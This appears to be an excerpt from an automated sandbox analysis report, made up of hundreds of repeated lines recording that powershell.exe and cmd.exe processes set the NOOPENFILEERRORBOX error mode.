                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
